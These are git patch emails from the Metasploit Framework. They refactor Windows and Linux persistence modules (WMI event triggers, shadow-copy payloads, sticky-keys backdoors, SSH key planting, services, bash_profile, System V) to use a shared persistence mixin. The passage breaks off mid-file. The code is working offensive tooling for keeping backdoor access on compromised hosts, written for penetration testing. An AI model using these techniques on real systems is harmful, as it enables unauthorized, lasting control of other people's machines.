trigger the payload.', 'EVENT', ['EVENT', 'INTERVAL', 'LOGON', 'PROCESS', 'WAITFOR']]), OptInt.new('EVENT_ID_TRIGGER', - [true, 'Event ID to trigger the payload. (Default: 4625)', 4625]), + [true, 'Event ID to trigger the payload. (Default: 4625)', 4625], + conditions: ['PERSISTENCE_METHOD', '==', 'EVENT']), OptString.new('USERNAME_TRIGGER', - [true, 'The username to trigger the payload. (Default: BOB)', 'BOB' ]), + [true, 'The username to trigger the payload. (Default: BOB)', 'BOB' ], + conditions: ['PERSISTENCE_METHOD', '==', 'EVENT']), OptString.new('PROCESS_TRIGGER', - [true, 'The process name to trigger the payload. (Default: CALC.EXE)', 'CALC.EXE' ]), + [true, 'The process name to trigger the payload. (Default: CALC.EXE)', 'CALC.EXE' ], + conditions: ['PERSISTENCE_METHOD', '==', 'PROCESS']), OptString.new('WAITFOR_TRIGGER', - [true, 'The word to trigger the payload. (Default: CALL)', 'CALL' ]), + [true, 'The word to trigger the payload. (Default: CALL)', 'CALL' ], + conditions: ['PERSISTENCE_METHOD', '==', 'WAITFOR']), OptInt.new('CALLBACK_INTERVAL', - [true, 'Time between callbacks (In milliseconds). (Default: 1800000).', 1800000 ]), + [true, 'Time between callbacks (In milliseconds). (Default: 1800000).', 1_800_000 ]), # 30min OptString.new('CLASSNAME', [true, 'WMI event class name. (Default: UPDATER)', 'UPDATER' ]) ]) @@ -74,29 +92,23 @@ def initialize(info = {}) [false, 'Custom powershell command to run once the trigger is activated. (Note: some commands will need to be encolsed in quotes)', false, ]), ] ) + + deregister_options('WritableDir') end - def exploit - unless have_powershell? - print_error('This module requires powershell to run') - return - end + def check + return CheckCode::Safe('This module requires powershell to run') unless have_powershell? - unless is_admin? - print_error('This module requires admin privs to run') - return - end + return CheckCode::Safe('This module requires admin privs to run') unless is_admin? - unless is_high_integrity? - print_error('This module requires UAC to be bypassed first') - return - end + return CheckCode::Safe('This module requires UAC to be bypassed first') unless is_high_integrity? - if is_system? - print_error('This module cannot run as System') - return - end + return CheckCode::Safe('This module cannot run as System') if is_system? + + CheckCode::Appears('Target is likely vulnerable') + end + def exploit host = session.session_host print_status('Installing Persistence...') @@ -205,19 +217,19 @@ def log_file end def remove_persistence + return if datastore['AllowNoCleanup'] == true + name_class = datastore['CLASSNAME'] clean_rc = log_file if datastore['PERSISTENCE_METHOD'] == 'WAITFOR' - clean_up_rc = '' - clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"Telemetrics\\\" DELETE\"\n" + clean_up_rc = "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"Telemetrics\\\" DELETE\"\n" clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"Telemetrics\\\" DELETE\"\n" clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"Telemetrics\\\"' DELETE\"\n" clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"#{name_class}\\\" DELETE\"\n" clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"#{name_class}\\\" DELETE\"\n" clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}\\\"' DELETE\"" else - clean_up_rc = '' - clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"#{name_class}\\\" DELETE\"\n" + clean_up_rc = "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"#{name_class}\\\" DELETE\"\n" clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"#{name_class}\\\" DELETE\"\n" clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}\\\"' DELETE\"" end From 1d19dc2d9804cc477e36b84b45cd18a298cfda01 Mon Sep 17 00:00:00 2001 From: h00die Date: Tue, 28 Jan 2025 18:06:46 -0500 Subject: [PATCH 22/94] vss persistence --- modules/exploits/windows/persistence/vss.rb | 52 ++++++++++----------- 1 file changed, 26 insertions(+), 26 deletions(-) diff --git a/modules/exploits/windows/persistence/vss.rb b/modules/exploits/windows/persistence/vss.rb index 739bfcef4830..d35e46575213 100644 --- a/modules/exploits/windows/persistence/vss.rb +++ b/modules/exploits/windows/persistence/vss.rb @@ -11,6 +11,8 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::Windows::Registry include Msf::Exploit::EXE include Msf::Post::Windows::TaskScheduler + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Local::Persistence include Msf::Exploit::Deprecated moved_from 'exploits/windows/local/vss_persistence' @@ -33,7 +35,8 @@ def initialize(info = {}) 'DefaultTarget' => 0, 'References' => [ [ 'URL', 'https://web.archive.org/web/20201111212952/https://securityweekly.com/2011/11/02/safely-dumping-hashes-from-liv/' ], - [ 'URL', 'http://www.irongeek.com/i.php?page=videos/hack3rcon2/tim-tomes-and-mark-baggett-lurking-in-the-shadows'] + [ 'URL', 'http://www.irongeek.com/i.php?page=videos/hack3rcon2/tim-tomes-and-mark-baggett-lurking-in-the-shadows'], + [ 'URL', 'https://attack.mitre.org/techniques/T1006/'] ], 'DisclosureDate' => '2011-10-21', 'Compat' => { @@ -57,43 +60,40 @@ def initialize(info = {}) OptBool.new('EXECUTE', [ true, 'Run the EXE on the remote system.', true]), OptBool.new('SCHTASK', [ true, 'Create a Scheduled Task for the EXE.', false]), OptBool.new('RUNKEY', [ true, 'Create AutoRun Key for the EXE', false]), - OptInt.new('DELAY', [ true, 'Delay in Minutes for Reconnect attempt. Needs SCHTASK set to true to work. Default delay is 1 minute.', 1]), - OptString.new('RPATH', [ false, 'Path on remote system to place Executable. Example: \\\\Windows\\\\Temp (DO NOT USE C:\\ in your RPATH!)', ]), + OptInt.new('DELAY', [ true, 'Delay in Minutes for Reconnect attempt. Needs SCHTASK set to true to work. Default delay is 1 minute.', 1], + conditions: ['SCHTASK', '==', true]), + # replaced by persistence lib's WritableDir + # OptString.new('RPATH', [ false, 'Path on remote system to place Executable. Example: \\\\Windows\\\\Temp (DO NOT USE C:\\ in your RPATH!)', ]), ] ) # All these task scheduler options are already managed by the module or are not possible (e.i. remote task scheduling) - deregister_options('ScheduleType', 'ScheduleModifier', 'ScheduleRemoteSystem', 'ScheduleUsername', 'SchedulePassword') + deregister_options('ScheduleType', 'ScheduleModifier', 'ScheduleRemoteSystem', 'ScheduleUsername', 'SchedulePassword', 'SMBDomain', 'SMBPass', 'SMBUser') end - def exploit - @clean_up = '' + def check + return CheckCode::Safe('This module requires admin privs to run') unless is_admin? - print_status('Checking requirements...') + return CheckCode::Safe('This module requires UAC to be bypassed first') unless is_high_integrity? - unless is_admin? - print_error('This module requires admin privs to run') - return + begin + return CheckCode::Safe('Unable to start the Volume Shadow Service') unless start_vss + rescue RuntimeError => e + return CheckCode::Safe("Unable to start the Volume Shadow Service: #{e}") end - unless is_high_integrity? - print_error('This module requires UAC to be bypassed first') - return - end + CheckCode::Appears('Target is likely vulnerable') + end - print_status('Starting Volume Shadow Service...') - unless start_vss - print_error('Unable to start the Volume Shadow Service') - return - end + def exploit + fail_with(Failure::BadConfig, 'WritableDir option should start with \\, and not include a drive letter.') unless WritableDir.start_with?('\\') + @clean_up = '' print_status('Uploading payload...') - remote_file = upload(datastore['RPATH']) + remote_file = upload(datastore['WritableDir']) print_status('Creating Shadow Volume Copy...') - unless volume_shadow_copy - fail_with(Failure::Unknown, 'Failed to create a new shadow copy') - end + fail_with(Failure::Unknown, 'Failed to create a new shadow copy') unless volume_shadow_copy print_status('Finding the Shadow Copy Volume...') volume_data_id = [] @@ -157,9 +157,9 @@ def volume_shadow_copy if id return true - else - return false end + + false end def execute(volume_id, exe_path) @@ -201,7 +201,7 @@ def install_registry(volume_id, exe_path) res = registry_setvaldata(hklm_key.to_s, nam, global_root.to_s, 'REG_SZ') if res print_good("Installed into autorun as #{hklm_key}\\#{nam}") - @clean_up << "reg deleteval -k HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run -v #{nam}\n" + @clean_up << "reg deleteval -k HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run -v #{nam}\n" else print_error('Error: failed to open the registry key for writing') end From faad050683485d26627f271293c1c734345594e4 Mon Sep 17 00:00:00 2001 From: h00die Date: Tue, 28 Jan 2025 19:26:39 -0500 Subject: [PATCH 23/94] sticky keys update --- .../windows/persistence/sticky_keys.rb | 22 ++++++++++++++++--- 1 file changed, 19 insertions(+), 3 deletions(-) diff --git a/modules/exploits/windows/persistence/sticky_keys.rb b/modules/exploits/windows/persistence/sticky_keys.rb index 2f63d4bfde4b..f89de4ab699e 100644 --- a/modules/exploits/windows/persistence/sticky_keys.rb +++ b/modules/exploits/windows/persistence/sticky_keys.rb @@ -3,10 +3,12 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -class MetasploitModule < Msf::Post +class MetasploitModule < Msf::Exploit::Local include Msf::Post::File include Msf::Post::Windows::Registry include Msf::Post::Windows::Priv + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Local::Persistence include Msf::Exploit::Deprecated moved_from 'post/windows/manage/sticky_keys' @@ -44,15 +46,23 @@ def initialize(info = {}) ['ADD', { 'Description' => 'Add the backdoor to the target.' }], ['REMOVE', { 'Description' => 'Remove the backdoor from the target.' }] ], + 'DisclosureDate' => '1995-08-24', # released with Windows 95 'References' => [ ['URL', 'https://web.archive.org/web/20170201184448/https://social.technet.microsoft.com/Forums/windows/en-US/a3968ec9-5824-4bc2-82a2-a37ea88c273a/sticky-keys-exploit'], - ['URL', 'https://blog.carnal0wnage.com/2012/04/privilege-escalation-via-sticky-keys.html'] + ['URL', 'https://blog.carnal0wnage.com/2012/04/privilege-escalation-via-sticky-keys.html'], + ['URL', 'https://attack.mitre.org/techniques/T1546/008/'] ], - 'DefaultAction' => 'ADD' + 'DefaultAction' => 'ADD', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] + } ) ) register_options([ + # XXX add magnify.exe, narrator, atbroker? All listed in mitre attack OptEnum.new('TARGET', [true, 'The target binary to add the exploit to.', 'SETHC', ['SETHC', 'UTILMAN', 'OSK', 'DISP']]), OptString.new('EXE', [true, 'Executable to execute when the exploit is triggered.', '%SYSTEMROOT%\system32\cmd.exe']) ]) @@ -98,6 +108,12 @@ def get_target_exe_reg_key "#{DEBUG_REG_PATH}\\#{get_target_exe_name}" end + def check + return CheckCode::Safe('This module requires admin privs to run') unless is_admin? + + CheckCode::Appears('Target is likely vulnerable') + end + # # Runs the exploit. # From 3607d5b0dddfce50797c9403b78b6b7e6ed0841b Mon Sep 17 00:00:00 2001 From: h00die Date: Tue, 28 Jan 2025 19:27:32 -0500 Subject: [PATCH 24/94] sticky keys update --- modules/exploits/windows/persistence/sticky_keys.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/persistence/sticky_keys.rb b/modules/exploits/windows/persistence/sticky_keys.rb index f89de4ab699e..e3d646534e9b 100644 --- a/modules/exploits/windows/persistence/sticky_keys.rb +++ b/modules/exploits/windows/persistence/sticky_keys.rb @@ -55,7 +55,7 @@ def initialize(info = {}) 'DefaultAction' => 'ADD', 'Notes' => { 'Stability' => [CRASH_SAFE], - 'Reliability' => [REPEATABLE_SESSION], + 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] } ) From ca16ee216379fd9e06a59934940bda573f523c57 Mon Sep 17 00:00:00 2001 From: h00die Date: Tue, 28 Jan 2025 19:30:20 -0500 Subject: [PATCH 25/94] sticky keys update --- modules/exploits/windows/persistence/sticky_keys.rb | 3 +++ 1 file changed, 3 insertions(+) diff --git a/modules/exploits/windows/persistence/sticky_keys.rb b/modules/exploits/windows/persistence/sticky_keys.rb index e3d646534e9b..cd474d817fb5 100644 --- a/modules/exploits/windows/persistence/sticky_keys.rb +++ b/modules/exploits/windows/persistence/sticky_keys.rb @@ -64,8 +64,11 @@ def initialize(info = {}) register_options([ # XXX add magnify.exe, narrator, atbroker? All listed in mitre attack OptEnum.new('TARGET', [true, 'The target binary to add the exploit to.', 'SETHC', ['SETHC', 'UTILMAN', 'OSK', 'DISP']]), + # XXX this should be upgraded to drop a payload of our choosing instead OptString.new('EXE', [true, 'Executable to execute when the exploit is triggered.', '%SYSTEMROOT%\system32\cmd.exe']) ]) + + deregister_options('WritableDir') end # From cda08818641b21f42c09e3de3e61ff900dc51dd4 Mon Sep 17 00:00:00 2001 From: h00die Date: Tue, 28 Jan 2025 19:45:03 -0500 Subject: [PATCH 26/94] windows ssh keys update --- .../exploits/windows/persistence/sshkey.rb | 37 ++++++++++++++++++- 1 file changed, 35 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/persistence/sshkey.rb b/modules/exploits/windows/persistence/sshkey.rb index 2beb82071f14..c077fb6e811a 100644 --- a/modules/exploits/windows/persistence/sshkey.rb +++ b/modules/exploits/windows/persistence/sshkey.rb @@ -5,11 +5,13 @@ require 'sshkey' -class MetasploitModule < Msf::Post +class MetasploitModule < Msf::Exploit::Local Rank = GoodRanking include Msf::Post::File include Msf::Post::Windows::UserProfiles + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Local::Persistence include Msf::Exploit::Deprecated moved_from 'post/windows/manage/sshkey_persistence' @@ -35,6 +37,12 @@ def initialize(info = {}) stdapi_fs_separator ] } + }, + 'DisclosureDate' => '1995-01-01', # ssh first release + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [] } ) ) @@ -48,8 +56,31 @@ def initialize(info = {}) OptBool.new('EDIT_CONFIG', [true, 'Edit ssh config to allow public key authentication', false ]), OptBool.new('ADMIN', [true, 'Add keys for administrator accounts', false ]), OptBool.new('CREATESSHFOLDER', [true, 'If no .ssh folder is found, create it for a user', false ]) - ], self.class + ] ) + + deregister_options('WritableDir') + end + + def check + return CheckCode::Safe("Unable to read SSH config: #{datastore['SSHD_CONFIG']}") unless readable?(datastore['SSHD_CONFIG']) + + sshd_config = read_file(datastore['SSHD_CONFIG']) + pub_key_allowed = pub_key_auth_allowed?(sshd_config) + + return CheckCode::Detected('Pubkey auth is enabled') if pub_key_allowed + + if !pub_key_allowed && datastore['EDIT_CONFIG'] && writable?(sshd_config) + return CheckCode::Detected('Pubkey auth is NOT enabled, will edit config to allow it') + end + + if !pub_key_allowed && datastore['EDIT_CONFIG'] && !writable?(sshd_config) + return CheckCode::Detected("Pubkey auth is NOT enabled, and unable to write to #{sshd_config}") + end + + if !pub_key_allowed && !datastore['EDIT_CONFIG'] + return CheckCode::Safe('Pubkey auth is NOT enabled, and you have not selected to edit the config') + end end def run @@ -112,9 +143,11 @@ def pub_key_auth_allowed?(sshd_config) /^PubkeyAuthentication\s+(?yes|no)/ =~ sshd_config if pub_key && pub_key == 'no' print_error('Pubkey Authentication disabled') + return false elsif pub_key vprint_good("Pubkey set to #{pub_key}") end + true end def auth_key_file_name(sshd_config) From 74acdf2b3208b59768b552be3be8c18deec8e003 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Wed, 29 Jan 2025 05:50:03 -0500 Subject: [PATCH 27/94] feat: persistence mixin draft --- lib/msf/core/exploit/local/persistence.rb | 55 ++++++++++++++++++----- 1 file changed, 43 insertions(+), 12 deletions(-) diff --git a/lib/msf/core/exploit/local/persistence.rb b/lib/msf/core/exploit/local/persistence.rb index 0bfcf411be84..2a4267bdceeb 100644 --- a/lib/msf/core/exploit/local/persistence.rb +++ b/lib/msf/core/exploit/local/persistence.rb @@ -1,30 +1,61 @@ # -*- coding: binary -*- module Msf - # This module provides methods for persisting on a target system. Mainly initialization - # options. module Exploit::Local::Persistence def initialize(info = {}) + @persistence_service = Rex::Sync::Event.new(auto_reset=false) super( update_info( info, - 'DefaultOptions' => { - # leaving this commented out, we don't want a wfs delay so that the module - # will run forever. - # 'WfsDelay' => 25 * 60 * 60, # 25hrs - 'AllowNoCleanup' => true # don't delete our persistence after we get a shell - }, + 'DefaultOptions' => {}, # https://github.com/rapid7/metasploit-framework/pull/19676#discussion_r1907594308 - 'Stance' => Msf::Exploit::Stance::Passive - # 'Passive' => true # XXX when set, ignores wfsdelay and immediately exists after last command + 'Stance' => Msf::Exploit::Stance::Passive, + 'Passive' => true, + 'Actions' => [ + [ 'INSTALL', { 'Description' => 'Install the persistence' } ], + [ 'CLEANUP', { 'Description' => 'Cleanup the persistence' } ] + ], + 'DefaultAction' => 'INSTALL' ) ) register_advanced_options( [ - OptString.new('WritableDir', [true, 'A directory where we can write files', '']) + OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp/']), + OptBool.new('CleanUpPersistence', [true, 'Remove the installed persistence at the end of the module', false]) ] ) end + + def exploit + + case action.name.upcase + when 'INSTALL' + run_as_background = !datastore['DisablePayloadHandler'] + print_warning('Payload handler is disabled, the persistence will be installed only.') unless run_as_background + + # Call the install_persistence function + # must be declared inside the persistence module + install_persistence + + @persistence_service.wait if run_as_background + + cleanup_persistence if datastore['CleanUpPersistence'] + + when 'CLEANUP' + + # call cleanup_persistence + # must be declared inside the persistence module + cleanup_persistence + end + end + + def install_persistence + # to be overloaded by the module + end + + def cleanup + # this is done by the action + end end -end +end \ No newline at end of file From 7542fa10cee0e749e7c8b2cb00be6fff236484af Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Wed, 29 Jan 2025 05:57:08 -0500 Subject: [PATCH 28/94] feat: draft bash_profile using persistence mixin --- modules/exploits/linux/persistence/bash_profile.rb | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/modules/exploits/linux/persistence/bash_profile.rb b/modules/exploits/linux/persistence/bash_profile.rb index f9b9a3e8420f..be35700df780 100644 --- a/modules/exploits/linux/persistence/bash_profile.rb +++ b/modules/exploits/linux/persistence/bash_profile.rb @@ -82,13 +82,13 @@ def check CheckCode::Detected("Bash profile exists and is writable: #{ppath}") end - def exploit + def install_persistence # create Bash profile backup on local system before persistence is added ppath = profile_path backup_profile = read_file(ppath) - backup_profile_path = store_loot("desktop.#{datastore['BASH_PROFILE'].split('/').last}", 'text/plain', session, backup_profile, datastore['BASH_PROFILE'].split('/').last, 'bash profile backup') - print_status("Created backup Bash profile: #{backup_profile_path}") + @backup_profile_path = store_loot("desktop.#{datastore['BASH_PROFILE'].split('/').last}", 'text/plain', session, backup_profile, datastore['BASH_PROFILE'].split('/').last, 'bash profile backup') + print_status("Created backup Bash profile: #{@backup_profile_path}") # upload persistent payload to target and make executable (chmod 700) backdoor_path = datastore['WritableDir'] @@ -102,4 +102,9 @@ def exploit vprint_status('Created Bash profile persistence') print_good('Payload will be triggered when target opens a Bash terminal') end + + def cleanup_persistence + print_warning('Here we should cleanup here') + print_status("Backup: #{@backup_profile_path}") + end end From 772ac9646bf936749b8219959bb9efe379b2610a Mon Sep 17 00:00:00 2001 From: h00die Date: Wed, 29 Jan 2025 17:17:46 -0500 Subject: [PATCH 29/94] windows persistence service conversion --- .../exploits/windows/persistence/service.rb | 45 +++++++++++++------ .../exploits/windows/persistence/sshkey.rb | 4 +- .../windows/persistence/sticky_keys.rb | 1 + 3 files changed, 35 insertions(+), 15 deletions(-) diff --git a/modules/exploits/windows/persistence/service.rb b/modules/exploits/windows/persistence/service.rb index 8c002def8660..814f1b5b39fd 100644 --- a/modules/exploits/windows/persistence/service.rb +++ b/modules/exploits/windows/persistence/service.rb @@ -10,6 +10,8 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::Common include Msf::Post::File include Msf::Post::Windows::Priv + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Local::Persistence include Msf::Exploit::Deprecated moved_from 'exploits/windows/local/persistence_service' @@ -30,8 +32,15 @@ def initialize(info = {}) 'SessionTypes' => [ 'meterpreter' ], 'DefaultTarget' => 0, 'References' => [ - [ 'URL', 'https://github.com/rapid7/metasploit-framework/blob/master/external/source/metsvc/src/metsvc.cpp' ] + [ 'URL', 'https://github.com/rapid7/metasploit-framework/blob/master/external/source/metsvc/src/metsvc.cpp' ], + [ 'URL', 'https://attack.mitre.org/techniques/T1543/003/' ] ], + 'Payload' => { + 'Compat' => + { + 'ConnectionType' => '-bind' + } + }, 'DisclosureDate' => '2018-10-20', 'Compat' => { 'Meterpreter' => { @@ -45,6 +54,11 @@ def initialize(info = {}) stdapi_sys_process_execute ] } + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] } ) ) @@ -52,7 +66,8 @@ def initialize(info = {}) register_options( [ OptInt.new('RETRY_TIME', [false, 'The retry time that shell connect failed. 5 seconds as default.', 5 ]), - OptString.new('REMOTE_EXE_PATH', [false, 'The remote victim exe path to run. Use temp directory as default. ']), + # replaced by WritableDir + # OptString.new('REMOTE_EXE_PATH', [false, 'The remote victim exe path to run. Use temp directory as default. ']), OptString.new('REMOTE_EXE_NAME', [false, 'The remote victim name. Random string as default.']), OptString.new('SERVICE_NAME', [false, 'The name of service. Random string as default.' ]), OptString.new('SERVICE_DESCRIPTION', [false, 'The description of service. Random string as default.' ]) @@ -60,23 +75,27 @@ def initialize(info = {}) ) end - # Run Method for when run command is issued - #------------------------------------------------------------------------------- - def exploit + def check unless is_system? || is_admin? - print_error('Insufficient privileges to create service') - return + return CheckCode::Safe('Insufficient privileges to create service') end - unless datastore['PAYLOAD'] =~ %r{^windows/(shell|meterpreter)/reverse} - print_error('Only support for windows meterpreter/shell reverse staged payload') - return - end + CheckCode::Appears + end + + # Run Method for when run command is issued + #------------------------------------------------------------------------------- + def exploit + # this should be taken care of with payload => compat => ConnectionType => '-bind' + # unless datastore['PAYLOAD'] =~ %r{^windows/(shell|meterpreter)/reverse} + # print_error('Only support for windows meterpreter/shell reverse staged payload') + # return + # end print_status("Running module against #{sysinfo['Computer']}") # Set variables - rexepath = datastore['REMOTE_EXE_PATH'] + rexepath = datastore['WritableDir'] @retry_time = datastore['RETRY_TIME'] rexename = datastore['REMOTE_EXE_NAME'] || Rex::Text.rand_text_alpha(4..8) @service_name = datastore['SERVICE_NAME'] || Rex::Text.rand_text_alpha(4..8) @@ -136,7 +155,7 @@ def write_exe_to_target(rexe, rexename, rexepath) write_file_to_target(temprexe, rexe) end - # Write to %temp% directory if not set REMOTE_EXE_PATH + # Write to %temp% directory if not set WritableDir else temprexe = session.sys.config.getenv('TEMP') + '\\' + rexename write_file_to_target(temprexe, rexe) diff --git a/modules/exploits/windows/persistence/sshkey.rb b/modules/exploits/windows/persistence/sshkey.rb index c077fb6e811a..75e8d3c2eddc 100644 --- a/modules/exploits/windows/persistence/sshkey.rb +++ b/modules/exploits/windows/persistence/sshkey.rb @@ -6,7 +6,7 @@ require 'sshkey' class MetasploitModule < Msf::Exploit::Local - Rank = GoodRanking + Rank = ExcellentRanking include Msf::Post::File include Msf::Post::Windows::UserProfiles @@ -42,7 +42,7 @@ def initialize(info = {}) 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], - 'SideEffects' => [] + 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] } ) ) diff --git a/modules/exploits/windows/persistence/sticky_keys.rb b/modules/exploits/windows/persistence/sticky_keys.rb index cd474d817fb5..149850384663 100644 --- a/modules/exploits/windows/persistence/sticky_keys.rb +++ b/modules/exploits/windows/persistence/sticky_keys.rb @@ -4,6 +4,7 @@ ## class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking include Msf::Post::File include Msf::Post::Windows::Registry include Msf::Post::Windows::Priv From 6b45fb31556c2fc7c3db83d3183ee4d03b65df0d Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Thu, 30 Jan 2025 03:59:50 -0500 Subject: [PATCH 30/94] feat: persistence mixin and bash_profile persistence --- lib/msf/core/exploit/local/persistence.rb | 7 ++----- .../exploits/linux/persistence/bash_profile.rb | 16 ++++++++++++---- 2 files changed, 14 insertions(+), 9 deletions(-) diff --git a/lib/msf/core/exploit/local/persistence.rb b/lib/msf/core/exploit/local/persistence.rb index 2a4267bdceeb..b3731f34bd5f 100644 --- a/lib/msf/core/exploit/local/persistence.rb +++ b/lib/msf/core/exploit/local/persistence.rb @@ -22,13 +22,12 @@ def initialize(info = {}) register_advanced_options( [ OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp/']), - OptBool.new('CleanUpPersistence', [true, 'Remove the installed persistence at the end of the module', false]) + OptString.new('CleanUpBackupPath', [false, 'Local path where backup is stored.', nil]) ] ) end def exploit - case action.name.upcase when 'INSTALL' run_as_background = !datastore['DisablePayloadHandler'] @@ -40,8 +39,6 @@ def exploit @persistence_service.wait if run_as_background - cleanup_persistence if datastore['CleanUpPersistence'] - when 'CLEANUP' # call cleanup_persistence @@ -58,4 +55,4 @@ def cleanup # this is done by the action end end -end \ No newline at end of file +end diff --git a/modules/exploits/linux/persistence/bash_profile.rb b/modules/exploits/linux/persistence/bash_profile.rb index be35700df780..b847e7e71e2a 100644 --- a/modules/exploits/linux/persistence/bash_profile.rb +++ b/modules/exploits/linux/persistence/bash_profile.rb @@ -87,8 +87,8 @@ def install_persistence ppath = profile_path backup_profile = read_file(ppath) - @backup_profile_path = store_loot("desktop.#{datastore['BASH_PROFILE'].split('/').last}", 'text/plain', session, backup_profile, datastore['BASH_PROFILE'].split('/').last, 'bash profile backup') - print_status("Created backup Bash profile: #{@backup_profile_path}") + backup_profile_path = store_loot("desktop.#{datastore['BASH_PROFILE'].split('/').last}", 'text/plain', session, backup_profile, datastore['BASH_PROFILE'].split('/').last, 'bash profile backup') + print_status("Created backup Bash profile: #{backup_profile_path}") # upload persistent payload to target and make executable (chmod 700) backdoor_path = datastore['WritableDir'] @@ -104,7 +104,15 @@ def install_persistence end def cleanup_persistence - print_warning('Here we should cleanup here') - print_status("Backup: #{@backup_profile_path}") + return unless datastore['CleanUpBackupPath'] + + backup_profile_path = datastore['CleanUpBackupPath'] + backup_content = File.open(backup_profile_path, 'rb')&.read + + ppath = profile_path + if backup_content + write_file(ppath, backup_content) + print_status("Restoring #{ppath} using #{backup_profile_path}.") + end end end From 7b45372b76b606d0e744aba378169f6172618ff9 Mon Sep 17 00:00:00 2001 From: h00die Date: Thu, 30 Jan 2025 18:31:30 -0500 Subject: [PATCH 31/94] system_v persistence pulled out from service module --- .../exploits/linux/persistence/system_v.rb | 249 ++++++++++++++++++ 1 file changed, 249 insertions(+) create mode 100644 modules/exploits/linux/persistence/system_v.rb diff --git a/modules/exploits/linux/persistence/system_v.rb b/modules/exploits/linux/persistence/system_v.rb new file mode 100644 index 000000000000..08dfb59ca0fb --- /dev/null +++ b/modules/exploits/linux/persistence/system_v.rb @@ -0,0 +1,249 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::File + include Msf::Post::Unix + include Msf::Exploit::FileDropper + include Msf::Exploit::Local::Persistence + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Deprecated + moved_from 'exploits/linux/local/service_persistence' + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'System V Persistence', + 'Description' => %q{ + This module will create a service via System V on the box, and mark it for auto-restart. + We need enough access to write service files and potentially restart services + Targets: + System V: + CentOS <= 5 + Debian <= 6 + Kali 2.0 + Ubuntu <= 9.04 + Note: System V won't restart the service if it dies, only an init change (reboot etc) will restart it. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die ', + 'Cale Black' # systemd user target + ], + 'Platform' => ['unix', 'linux'], + 'Targets' => [ + [ + 'System V', { + :runlevel => '2 3 4 5', + 'DefaultOptions' => { 'BACKDOOR_PATH' => '/usr/local/bin' } + } + ] + ], + 'DefaultTarget' => 0, + 'Arch' => ARCH_CMD, + 'References' => [ + ['URL', 'https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples'], + ['URL', 'https://attack.mitre.org/techniques/T1543/'] + ], + 'Payload' => { + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'python netcat' # we need non-threaded/forked so the systems properly detect the service going down + } + }, + 'SessionTypes' => ['shell', 'meterpreter'], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], + 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] + }, + 'DisclosureDate' => '1983-01-01' # system v release date + ) + ) + + register_options( 